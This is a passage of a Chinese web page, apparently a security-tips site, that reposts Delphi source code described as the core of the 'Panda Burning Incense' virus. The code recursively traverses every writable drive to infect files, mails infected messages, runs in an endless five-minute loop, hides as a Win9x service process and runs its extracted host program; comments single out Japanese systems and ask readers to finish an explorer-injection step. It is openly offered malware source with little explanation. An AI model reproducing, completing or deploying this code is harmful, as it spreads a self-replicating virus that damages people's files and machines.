概要:until (findnext(searchrec) <> 0);end;findclose(searchrec);subdir := tstringlist.create;if (findfirst(path + '*.*', fadirectory, searchrec) = 0) thenbeginrepeat if isvaliddir(searchrec) = 1 then subdir.add(searchrec.name);until (findnext(searchrec) <> 0);end;findclose(searchrec);count := subdir.count - 1;for i := 0 to count doloopfiles(path + subdir.strings + '\', mask);freeandnil(subdir);end;{ 遍历磁盘上所有的文件 }procedure infectfiles
熊猫烧香核心代码,标签:电脑安全知识,个人电脑安全,http://www.laixuea.comuntil (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
isjap := true; //去死吧!
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
for i := len downto 1 do //遍历每个磁盘驱动器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //发带毒邮件
sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
//远程线程映射到explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
tmpfile := paramstr(0); //创建临时文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一个空格
extractfile(tmpfile); //分离之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //创建新进程运行之
infectfiles; //感染和发邮件
end;
end.
[Copy to clipboard]
Tag:电脑安全,电脑安全知识,个人电脑安全,电脑学习 - 电脑安全